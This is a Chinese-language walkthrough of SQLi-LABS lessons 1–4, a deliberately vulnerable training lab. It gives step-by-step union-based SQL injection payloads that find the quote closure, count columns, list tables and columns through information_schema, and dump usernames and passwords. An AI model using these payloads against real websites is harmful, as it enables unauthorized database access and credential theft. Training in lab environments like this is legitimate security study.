SQLi-LABS_1-4

SQLi-LABS

Less-1-4

Less-1 Error based

查看是否可以注入:
  1. 输入?id=1 发现可以

  2. 尝试闭合’发现报错

  3. 分析报错,确认闭合方式为单引号的字符型注入
    在这里插入图片描述

进行字段的判断
  1. 进行order by

  2. 尝试到4发现出错

  3. 所以判断字段为3
    在这里插入图片描述

进行字段查询
  1. 使用联合查询union select

  2. 使用前需要将参数?id=1改为?id=-1,否则无法在对应位置显示

在这里插入图片描述

  1. 发现2,3位置存在注入,所以在2,3位置进行替换

  2. 将2,3位置替换为database(),version(),user()…来获取信息
    在这里插入图片描述

探测表名
  1. 获取了数据库名后,进行对表名的探测

  2. 使用 union select group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
    在这里插入图片描述

  3. 发现users这个表名,.

探测字段名
  1. 获取表名后,继续向下探测

  2. 使用union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
    在这里插入图片描述

  3. 发现username和password,x.x

探测数据
  1. 直接点吧

  2. union select 1,group_concat(username),group_concat(password) from users --+
    在这里插入图片描述

less2-4

因为这些很类似,只是闭合方式不同,所以放在一起,后面和上面的类似,就不会每步都截图了-.-

Less-2

  1. 加单引号 报错,发现是数字型
  2. ?id=1 oder by 4 --+ 报错
  3. ?id=-1 union select 1,2,3 --+
  4. ?id=-1 union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Less-3

  1. 确定注入方式为’),
  2. ?id=1’) order by 4 --+报错
  3. ?id=-1’) union select 1,2,3 --+确定位置
  4. ?id=-1’) union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1’) union select 1,group_concat(username),group_concat(password) from users --+

Less-4

  1. 确定注入方式为")
  2. ?id=-1") union select 1,2,3 --+确定位置
  3. ?id=1") order by 4 --+报错
  4. ?id=-1") union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1’") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值